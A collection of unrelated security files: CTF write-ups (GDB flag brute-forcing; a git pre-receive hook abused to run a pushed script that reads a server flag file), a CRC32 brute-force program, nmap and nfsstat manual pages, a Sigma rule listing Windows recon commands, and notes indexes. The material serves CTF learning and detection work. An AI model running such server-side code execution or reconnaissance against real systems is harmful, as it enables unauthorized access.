# Easy as GDB Category: Reverse Engineering, 160 points ## Description > The flag has got to be checked somewhere... A binary file was attached. ## Solution Let's run the file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Easy_as_GDB] └─$ ./brute input the flag: test checking solution... Incorrect. ``` We need to enter a flag candidate, and the program will tell us if it's the correct flag. Obviously this means that the program needs to somehow compare our flag to the correct one. Let's check the decompiled output using Ghidra. The main function implementation: ```c undefined4 main(undefined1 param_1) { char *user_input; size_t encoded_flag_len; int iVar1; user_input = (char *)calloc(0x200,1); printf("input the flag: "); fgets(user_input,0x200,stdin); encoded_flag_len = strnlen(&g_encoded_flag,0x200); user_input = FUN_0001082b(user_input,encoded_flag_len); FUN_000107c2((int)user_input,encoded_flag_len,1); iVar1 = check_flag(user_input,encoded_flag_len); if (iVar1 == 1) { puts("Correct!"); } else { puts("Incorrect."); } return 0; } ``` We can see that it calls `check_flag` to check the user input against a precalculated encoded flag: ```c undefined4 check_flag(char *user_input,uint encoded_flag_len) { char *__dest; char *__dest_00; uint i; __dest = (char *)calloc(encoded_flag_len + 1,1); strncpy(__dest,user_input,encoded_flag_len); FUN_000107c2((int)__dest,encoded_flag_len,-1); __dest_00 = (char *)calloc(encoded_flag_len + 1,1); strncpy(__dest_00,&g_encoded_flag,encoded_flag_len); FUN_000107c2((int)__dest_00,encoded_flag_len,-1); puts("checking solution..."); i = 0; while( true ) { if (encoded_flag_len <= i) { return 1; } if (__dest[i] != __dest_00[i]) break; i = i + 1; } return 0xffffffff; } ``` `g_encoded_flag` is: ```assembly g_encoded_flag XREF[4]: check_flag:00010931(*), check_flag:00010937(*), main:00010a19(*), main:00010a1f(*) 00012008 7a ?? 7Ah z 00012009 2e ?? 2Eh . 0001200a 6e ?? 6Eh n 0001200b 68 ?? 68h h 0001200c 1d ?? 1Dh 0001200d 65 ?? 65h e 0001200e 16 ?? 16h 0001200f 7c ?? 7Ch | 00012010 6d ?? 6Dh m 00012011 43 ?? 43h C 00012012 6f ?? 6Fh o 00012013 36 ?? 36h 6 00012014 66 ?? 66h f 00012015 62 ?? 62h b 00012016 14 ?? 14h 00012017 47 ?? 47h G 00012018 43 ?? 43h C 00012019 37 ?? 37h 7 0001201a 40 ?? 40h @ 0001201b 34 ?? 34h 4 0001201c 58 ?? 58h X 0001201d 01 ?? 01h 0001201e 58 ?? 58h X 0001201f 65 ?? 65h e 00012020 62 ?? 62h b 00012021 6f ?? 6Fh o 00012022 53 ?? 53h S 00012023 30 ?? 30h 0 00012024 67 ?? 67h g 00012025 17 ?? 17h ``` The program obviously somehow encodes our flag in order to compare it to `g_encoded_flag`. One way to solve the challenge would be to reverse the encoding logic, and find an input that would produce the encoded flag. However, as the challenge title and description state, in this case it would be much easier to try and brute force the flag character by character using a GDB script. In `check_flag`, we have the following loop that checks the characters one after the other: ```c while( true ) { if (encoded_flag_len <= i) { return 1; } if (__dest[i] != __dest_00[i]) break; i = i + 1; } return 0xffffffff; ``` The comparison `(__dest[i] != __dest_00[i])` compares a character of our input (after being encoded) to the expected output. If we get all the characters right, it will return `1`. Otherwise, it will break once it sees an error and return -1. In assembly, this looks like: ```assembly LAB_56555978 XREF[1]: 565559a5(j) 56555978 8b 55 f0 MOV EDX,dword ptr [EBP + local_14] 5655597b 8b 45 ec MOV EAX,dword ptr [EBP + i] 5655597e 01 d0 ADD EAX,EDX 56555980 0f b6 10 MOVZX EDX,byte ptr [EAX] 56555983 8b 4d f4 MOV ECX,dword ptr [EBP + local_10] 56555986 8b 45 ec MOV EAX,dword ptr [EBP + i] 56555989 01 c8 ADD EAX,ECX 5655598b 0f b6 00 MOVZX EAX,byte ptr [EAX] 5655598e 38 c2 CMP DL,AL 56555990 74 09 JZ LAB_5655599b 56555992 c7 45 e8 MOV dword ptr [EBP + local_1c],0xffffffff ff ff ff ff 56555999 eb 0c JMP LAB_565559a7 LAB_5655599b XREF[1]: 56555990(j) 5655599b 83 45 ec 01 ADD dword ptr [EBP + i],0x1 LAB_5655599f XREF[1]: 56555976(j) 5655599f 8b 45 ec MOV EAX,dword ptr [EBP + i] 565559a2 3b 45 0c CMP EAX,dword ptr [EBP + encoded_flag_len] 565559a5 72 d1 JC LAB_56555978 ``` There are several ways to brute force the flag with GDB. We'll set a breakpoint at `0x5655598e` and check if `AL` is equal to `DL`. If so - the current character got encoded to the correct character, and we can move on to brute force the next character. Here's our GDB script: ```python import gdb import string from queue import Queue, Empty MAX_FLAG_LEN = 0x200 class Checkpoint(gdb.Breakpoint): def __init__(self, queue, target_hitcount, *args): super().__init__(*args) self.silent = True self.queue = queue self.target_hitcount = target_hitcount self.hit = 0 def stop(self): res = [] self.hit += 1 #print(f"\nhit {self.hit}/{self.target_hitcount}") if self.hit == self.target_hitcount: al = gdb.parse_and_eval("$al") dl = gdb.parse_and_eval("$dl") self.queue.put(al == dl) return False class Solvepoint(gdb.Breakpoint): def __init__(self, *args): super().__init__(*args) self.silent = True self.hit = 0 def stop(self): #gdb.execute("q") self.hit += 1 return False gdb.execute("set disable-randomization on") gdb.execute("delete") sp = Solvepoint("*0x56555a71") queue = Queue() flag = "" ALPHABET = string.ascii_letters + string.digits + "{}_" for i in range(len(flag), MAX_FLAG_LEN): for c in ALPHABET: bp = Checkpoint(queue, len(flag) + 1, '*0x5655598e') gdb.execute("run <<< {}{}".format(flag, c)) try: result = queue.get(timeout = 1) bp.delete() if result: flag += c print("\n\n{}\n\n".format(flag)) break except Empty: print("Error: Empty queue!") gdb.execute("q") if sp.hit > 0: print("Found flag: {}".format(flag)) gdb.execute("q") ``` This script implements a `Checkpoint`, which is a custom subclass of a breakpoint that performs some logic only after the breakpoint has been hit a certain amount of times (similar to a conditional breakpoint). We need this since in order to check character #i, we will need to ignore all the times that our breakpoint was hit for characters (0..(i-1)). When the breakpoint is hit for the requested amount of times, we read `AL` and `DL` to understand if our guess was correct. We also create an additional breakpoint at the following location to tell us if we got the flag correctly: ```assembly 56555a71 50 PUSH encoded_flag_len=>s_Correct!_56555b76 = "Correct!" 56555a72 e8 a9 fa CALL puts int puts(char * __s) ff ff ``` If this breakpoint is hit once, we know that we found the flag. Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Easy_as_GDB] └─$ gdb -n -q -ex "set pagination off" -ex "source solve.py" ./brute ... [Inferior 1 (process 4074) exited normally] Breakpoint 1191 at 0x5655598e input the flag: checking solution... Incorrect. [Inferior 1 (process 4075) exited normally] Breakpoint 1192 at 0x5655598e input the flag: checking solution... Incorrect. [Inferior 1 (process 4076) exited normally] Breakpoint 1193 at 0x5655598e input the flag: checking solution... Incorrect. [Inferior 1 (process 4077) exited normally] Breakpoint 1194 at 0x5655598e input the flag: checking solution... Incorrect. [Inferior 1 (process 4078) exited normally] Breakpoint 1195 at 0x5655598e input the flag: checking solution... Incorrect. [Inferior 1 (process 4079) exited normally] Breakpoint 1196 at 0x5655598e input the flag: checking solution... Correct! [Inferior 1 (process 4080) exited normally] picoCTF{I_5D3_A11DA7_0db137a9} Found flag: picoCTF{I_5D3_A11DA7_0db137a9} ``` The flag: `picoCTF{I_5D3_A11DA7_0db137a9}`
sec-knowleage
# Writeup SECCON 2016 Quals Team: nazywam, c7f.m0d3, cr019283, akrasuski1, rev, shalom ### Table of contents * [Vigenere (crypto 100)](vigenere) * [VoIP (forensics 100)](voip) * [Basiq (web)](web_100_basiq) * [Memory Analysis (forensics)](memory) * [Uncomfortable web (web 300)](web_300_uncomfortable_web)
sec-knowleage
Various writeups for the [2020 BSidesTLV CTF](https://ctf20.bsidestlv.com) ([CTFTime Link](https://ctftime.org/event/1078)). Participated as part of the [JCTF team](https://jctf.team/), which came in first! ![](images/top3.png)
sec-knowleage
nmap === 网络探测和安全审核 ## 补充说明 **nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。 ### 语法 ```shell nmap(选项)(参数) ``` ### 选项 ```shell -O:激活操作探测; -P0:值进行扫描,不ping主机; -PT:是同TCP的ping; -sV:探测服务版本信息; -sP:ping扫描,仅发现目标主机是否存活; -ps:发送同步(SYN)报文; -PU:发送udp ping; -PE:强制执行直接的ICMPping; -PB:默认模式,可以使用ICMPping和TCPping; -6:使用IPv6地址; -v:得到更多选项信息; -d:增加调试信息地输出; -oN:以人们可阅读的格式输出; -oX:以xml格式向指定文件输出信息; -oM:以机器可阅读的格式输出; -A:使用所有高级扫描选项; --resume:继续上次执行完的扫描; -P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围; -e:在多网络接口Linux系统中,指定扫描使用的网络接口; -g:将指定的端口作为源端口进行扫描; --ttl:指定发送的扫描报文的生存期; --packet-trace:显示扫描过程中收发报文统计; --scanflags:设置在扫描报文中的TCP标志。 --send-eth/--send-ip 使用原始以太网发送/构造指定IP发送 ``` ### 参数 ip地址:指定待扫描报文中的TCP地址。 ### 实例 **安装nmap** ```shell yum install nmap ``` **使用nmap扫描www.jsdig.com的开放端口** ```shell [root@localhost ~]# nmap www.jsdig.com Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8): Not shown: 1678 filtered ports PORT STATE service 22/tcp open ssh 80/tcp open http Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds ```
sec-knowleage
nfsstat === 列出NFS客户端和服务器的工作状态 ## 补充说明 **nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 ### 语法 ```shell nfsstat(选项) ``` ### 选项 ```shell -s:仅列出NFS服务器端状态; -c:仅列出NFS客户端状态; -n:仅列出NFS状态,默认显示nfs客户端和服务器的状态; -2:仅列出NFS版本2的状态; -3:仅列出NFS版本3的状态; -4:仅列出NFS版本4的状态; -m:打印以加载的nfs文件系统状态; -r:仅打印rpc状态。 ``` ### 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入: ```shell nfsstat -c ``` 要显示和打印与客户机NFS调用相关的信息,输入如下命令: ```shell nfsstat -cn ``` 要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令: ```shell nfsstat -r ``` 要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令: ```shell nfsstat –s ```
sec-knowleage
#include <cstdio> #include <cstdint> using namespace std; static uint32_t crc32_tab[] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; uint32_t crc32(uint32_t crc, const void *buf, size_t size) { const uint8_t *p; p = (const uint8_t*)buf; crc = crc ^ ~0U; while (size--) crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8); return crc ^ ~0U; } uint32_t crcs[100]; char alphabet[300]; int main(){ for(int i=' ';i<=127;i++){ alphabet[i-' ']=i; } int cnt=0; char buff[100]; while(true){ if(EOF==scanf("%s",buff)){ break; } scanf("%s",buff); uint32_t crc; scanf("%x",&crc); crcs[cnt++]=crc; } for(int i=0;i<cnt;i++){ printf("%x\n", crcs[i]); } buff[5]=0; for(char* a=alphabet; *a; a++){ buff[0]=*a; for(char* b=alphabet; *b; b++){ buff[1]=*b; for(char* c=alphabet; *c; c++){ buff[2]=*c; for(char* d=alphabet; *d; d++){ buff[3]=*d; for(char* e=alphabet; *e; e++){ buff[4]=*e; uint32_t crc=crc32(0, buff, 5); for(int i=0;i<cnt;i++){ if(crc==crcs[i]){ printf("Found! %x (%d) for [%s]\n", crc, i, buff); } } } } } } } }
sec-knowleage
# T1016-win-系统网络配置发现 ## 来自ATT&CK的描述 攻击者可能会寻找有关其访问的系统或通过远程系统的信息发现的网络配置和设置的详细信息。存在几个可用于收集此信息的操作系统管理实用程序。示例包括Arp,ipconfig /ifconfig,nbtstat和route。 ## 测试案例 windows下执行Arp,ipconfig,nbtstat和route命令 ## 检测日志 windows 安全日志 ## 测试复现 暂无 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ```yml title: windows 系统网络配置发现 description: windows server 2016 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1016/T1016.md tags: T1016 status: experimental author: 12306Bro logsource: product: windows service: security/sysmon detection: selection: EventID: 4688 #已创建新的进程。 CommandLine: - ipconfig /all - netsh interface show interface - arp -a - nbtstat -n - net config - netsh advfirewall firewall show rule name=all level: medium ``` ### 建议 如果你部署了sysmon,你也可以通过sysmon日志进行监控,当然,其他具备记录命令行参数的功能的EDR也可以。 ## 参考推荐 MITRE-ATT&CK-T1016 <https://attack.mitre.org/techniques/T1016/>
sec-knowleage
# come-and-git-it-1 * Category: DevSecOps * 100 Points * Solved by the JCTF Team ## Description > > > 1. Add the attached ssh key to your ssh-agent. [Here's some documentation](https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent), but TL;DR: > > ``` > eval $(ssh-agent -s) > ssh-add ~/path_to_key/id_rsa.player > ``` > > 2. `git clone ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo` > > 3. `cd ctf-repo` > > 4. `git checkout headmistresses-tiptoes-bezzled` > > 5. ??? > > 6. PROFIT!!! Attached was a private RSA key. ## Solution Let's setup the workspace like instructed: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1# eval $(ssh-agent -s) Agent pid 9397 root@kali:/media/sf_CTFs/appsec/come-and-git-it-1# ssh-add ~/CTFs/appsec/come-and-git-it-1/id_rsa.player Identity added: /root/CTFs/appsec/come-and-git-it-1/id_rsa.player (player@4213c9c39579) root@kali:/media/sf_CTFs/appsec/come-and-git-it-1# git clone ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo Cloning into 'ctf-repo'... remote: Enumerating objects: 49, done. remote: Counting objects: 100% (49/49), done. remote: Compressing objects: 100% (32/32), done. remote: Total 49 (delta 13), reused 49 (delta 13) Receiving objects: 100% (49/49), 13.72 KiB | 156.00 KiB/s, done. Resolving deltas: 100% (13/13), done. root@kali:/media/sf_CTFs/appsec/come-and-git-it-1# cd ctf-repo root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git checkout headmistresses-tiptoes-bezzled Branch 'headmistresses-tiptoes-bezzled' set up to track remote branch 'headmistresses-tiptoes-bezzled' from 'origin'. Switched to a new branch 'headmistresses-tiptoes-bezzled' ``` We get three files: ``` root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# ls capture_ze_flag.py LICENSE README.md ``` The Python file is tempting, but it's always a good idea to start from the README: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# cat README.md # Welcome to make-git-better _____ _ _ ___ ___________ | _ || | | |/ _ \ / ___| ___ \ | | | || | | / /_\ \\ `--.| |_/ / | | | || |/\| | _ | `--. \ __/ \ \_/ /\ /\ / | | |/\__/ / | \___/ \/ \/\_| |_/\____/\_| There's a script called `capture_ze_flag.py`. What else do you need? (=`ω´=) ``` Sounds good. The Python file: ```python flag_file_path = "[REDACTED]" def main(): print("Capturing a flag! How exciting.") with open(flag_file_path, "r") as flagfile: print("Flag contents are " + flagfile.read()) if __name__ == "__main__": main() ``` The path is redacted, but we have a git repository. Surely we can extract the path from there: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git log commit 9b76ee35f8656b4e91fc729649e8ee7570fe3e13 (HEAD -> headmistresses-tiptoes-bezzled, tag: headmistresses-tiptoes-bezzled-tag, origin/headmistresses-tiptoes-bezzled) Author: Shay Nehmad <dude500@gmail.com> Date: Tue Oct 20 01:51:28 2020 +0300 Added backticks to .md commit 88a3cdcaa74b201ffc727866bec62795460bdc63 Author: Shay Nehmad <dude500@gmail.com> Date: Sat Oct 10 20:07:17 2020 +0300 Renamed script, I'm sure this won't break anything ┐(´д`)┌ commit 061f4c48ce1644a3106b52834f060d5d0f603a03 Author: Shay Nehmad <dude500@gmail.com> Date: Sat Oct 10 20:04:48 2020 +0300 Added a helpful print ヾ(^∇^) commit efbf4c8b9794ad744a0322ba0d315c4b3b12d434 Author: Shay Nehmad <dude500@gmail.com> Date: Sat Oct 10 20:02:59 2020 +0300 Un-commit-ing secrets. Security++ ఠ_ఠ commit 52e0f0151de0f07e9ba368aca7c7ab03ceb7423f Author: Shay Nehmad <dude500@gmail.com> Date: Sat Oct 10 20:01:46 2020 +0300 Updated the README with instructions and fixed script path. commit 6385a9c56d5191b4de88cf9f53669c7d4dcfbb6f Author: Shay Nehmad <dude500@gmail.com> Date: Wed Oct 7 16:16:54 2020 +0300 Added script which captures the flag. commit 2699bcbe555a65732fa0f7619455a952a5a33ea3 (origin/master, origin/HEAD, master) Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Fri May 29 12:14:16 2020 +0300 Added some content to the readme to make it look better. commit 088af4ec974ee7fc1f4742c50bd6b68b66f9ac6d Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Tue May 12 20:35:36 2020 +0300 Added initial README file commit e3be94525dff4481367486c5c0a5d39298d48425 Author: Shay Nehmad <shay.nehmad@guardicore.com> Date: Tue May 12 20:32:14 2020 +0300 Added license file commit 86124cccc6cf34cfcee157ca4d42f9563f3cdf63 Author: Shay Nehmad <48879847+ShayNehmad@users.noreply.github.com> Date: Tue May 12 20:30:54 2020 +0300 Initial commit ``` The commit marked "Un-commit-ing secrets" seems suspicious. What happened there? ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git log -p -1 efbf4c8b9794ad744a0322ba0d315c4b3b12d434 commit efbf4c8b9794ad744a0322ba0d315c4b3b12d434 Author: Shay Nehmad <dude500@gmail.com> Date: Sat Oct 10 20:02:59 2020 +0300 Un-commit-ing secrets. Security++ ఠ_ఠ diff --git a/capture_the_flag.py b/capture_the_flag.py index 8c93632..ff817a3 100644 --- a/capture_the_flag.py +++ b/capture_the_flag.py @@ -1,4 +1,4 @@ -flag_file_path = "/etc/owasp/flags/flag.txt" +flag_file_path = "[REDACTED]" def main(): print("Capturing a flag! How exciting.") ``` So we have the redacted path, but now what? We don't have access to the server. The solution revealed itself after attempting to push a change to the server: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# touch dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git add dummy.txt root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git commit -m "Desperate move" root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git push Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 265 bytes | 16.00 KiB/s, done. Total 3 (delta 1), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: headmistresses-tiptoes-bezzled remote: Solution rejected. Reason: remote: capture_the_flag.py is missing. To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] headmistresses-tiptoes-bezzled -> headmistresses-tiptoes-bezzled (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` The hook runs `capture_the_flag.py` after pushing. We have a file called `capture_ze_flag.py` with a redacted path. After renaming it and re-adding the path, we can finally attempt to push again: ```console root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# cat capture_the_flag.py flag_file_path = "/etc/owasp/flags/flag.txt" def main(): print("Capturing a flag! How exciting.") with open(flag_file_path, "r") as flagfile: print("Flag contents are " + flagfile.read()) if __name__ == "__main__": main() root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git add capture_the_flag.py root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git commit -m "Capture the flag" [headmistresses-tiptoes-bezzled e039d6c] Capture the flag 1 file changed, 10 insertions(+) create mode 100644 capture_the_flag.py root@kali:/media/sf_CTFs/appsec/come-and-git-it-1/ctf-repo# git push Enumerating objects: 7, done. Counting objects: 100% (7/7), done. Compressing objects: 100% (5/5), done. Writing objects: 100% (6/6), 715 bytes | 29.00 KiB/s, done. Total 6 (delta 1), reused 1 (delta 0) remote: remote: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- remote: remote: Pushed a branch: headmistresses-tiptoes-bezzled remote: capture_the_flag.py found, attempting to execute it as flagger remote: Capturing a flag! How exciting. remote: Flag contents are "AppSec-IL{g1t_d035_P3rM1t_T0_c0mm1T}" remote: remote: I've attempted to run the script. Bye bye now. To ssh://come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo ! [remote rejected] headmistresses-tiptoes-bezzled -> headmistresses-tiptoes-bezzled (pre-receive hook declined) error: failed to push some refs to 'ssh://gamemaster@come-and-git-it.appsecil.ctf.today:2222/~/ctf-repo' ``` The flag: `AppSec-IL{g1t_d035_P3rM1t_T0_c0mm1T}`
sec-knowleage
# MiscSecNotes 此系列文章是本人关于学习 Web安全、渗透测试等时记录的一些笔记,部分原创,部分是对网上文章的理解整理。如果可以找到原始参考链接时则会在文末贴出(如 乌云很多链接已失效,或者记不起当时存档时的链接),或者在文章开头写上 by xx,如有侵权请联系我(zhangjinfa3 at gmail.com)删除或加上reference,感谢在网上共享知识的师傅们,觉得内容不错的朋友请不要吝啬您的 **star**。 ## 文章目录 ### Web 安全 * Web服务基础 * [HTTP协议](Web服务基础/HTTP协议.md) * [同源策略](Web服务基础/同源策略.md) * [前端基础](Web服务基础/前端基础.md) * [JS 跨域](Web服务基础/JS跨域.md) * [后端基础](Web服务基础/后端基础.md) * [常见函数](Web服务基础/常见函数.md) * [nginx安全配置](Web服务基础/nginx安全配置.md) * [apache安全配置](Web服务基础/apache安全配置.md) * [htaccess文件利用](Web服务基础/htaccess文件利用.md) * 跨站脚本 * [解码顺序](跨站脚本/解码顺序.md) * [反射XSS](跨站脚本/反射XSS.md) * [DOMXSS](跨站脚本/DOMXSS.md) * [存储XSS](跨站脚本/存储XSS.md) * 跨站请求伪造 * [CSRF](跨站请求伪造/CSRF.md) * SQL 注入 * [MYSQL注入](SQL%20注入/MYSQL注入.md) * [sqlmap tips](SQL%20注入/sqlmap%20tips.md) * [sqlmap 进阶](SQL%20注入/sqlmap%20进阶.md) * Flash安全 * [Flash xss](Flash安全/Flash%20XSS.md) * [Flash csrf](Flash安全/Flash%20CSRF.md) * PHP安全 * [php filter](PHP安全/php%20filter.md) * [php open_basedir](PHP安全/php%20open_basedir.md) * [php 安全编码](PHP安全/php%20安全编码.md) * [php 弱类型问题](PHP安全/php%20弱类型问题.md) * [php 高级代码审计](PHP安全/php%20高级代码审计.md) * [php 框架审计](PHP安全/php%20框架审计.md) * [php 版本特点](PHP安全/php%20版本特点.md) * [php 防getshell思路](PHP安全/php%20防getshell思路.md) * [php 变形shell检测](PHP安全/php%20变形shell检测.md) * [php rasp实现](PHP安全/php%20rasp%20实现.md) * URL跳转 * [url跳转](URL跳转/url跳转.md) * XML注入 * [XXE漏洞](XML注入/XXE漏洞.md) * 点击劫持 * [clickjacking](点击劫持/clickjacking.md) * 服务端请求伪造 * [SSRF 基础](服务端请求伪造/SSRF%20基础.md) * [SSRF 利用](服务端请求伪造/SSRF%20利用.md) * 逻辑漏洞 * [业务安全](逻辑漏洞/业务安全.md) * [支付安全](逻辑漏洞/支付安全.md) * 命令执行 * [命令执行](命令执行/命令执行.md) * 文件包含 * [文件包含](文件包含/文件包含.md) * 文件解析 * [文件解析](文件解析/文件解析.md) * 文件上传 * [文件上传](文件上传/文件上传.md) * 信息泄露 * [信息泄露](信息泄露/信息泄露.md) * Bypass WAF * [bypass sqli](Bypass%20WAF/bypass%20sqli.md) * [bypass waf(四个层次)](Bypass%20WAF/bypass%20waf(四个层次).md) * [bypass waf Cookbook](Bypass%20WAF/bypass%20waf%20Cookbook.md) * [waf 之SQL注入防御思路分享](Bypass%20WAF/waf%20之SQL注入防御思路分享.md) * 工具与思路 * [漏洞检测思路](工具与思路/漏洞检测思路.md) * [漏洞挖掘与工具](工具与思路/漏洞挖掘与工具.md) * [子域名爆破](工具与思路/子域名爆破.md) * [暴力破解](工具与思路/暴力破解.md) * 协议相关 * [IPv6协议相关](协议相关/IPv6协议相关.md) * [IPv6协议安全](协议相关/IPv6协议安全.md) * 漏洞修复 * [漏洞修复指南](漏洞修复/漏洞修复指南.md) * 漏洞科普 * [fastjson远程命令执行漏洞原理](漏洞科普/fastjson远程命令执行漏洞原理.md) * [PHP-FPM 远程命令执行漏洞](漏洞科普/PHP-FPM%20远程命令执行漏洞.md) ### 渗透测试 * Linux渗透 * [Linux执行命令监控](Linux渗透/Linux执行命令监控.md) * [Linux 入侵检测](Linux渗透/Linux%20入侵检测.md) * [Linux 提权](Linux渗透/Linux%20提权.md) * [Rootkit 综合教程](Linux渗透/Rootkit%20综合教程.md) * 端口转发 * 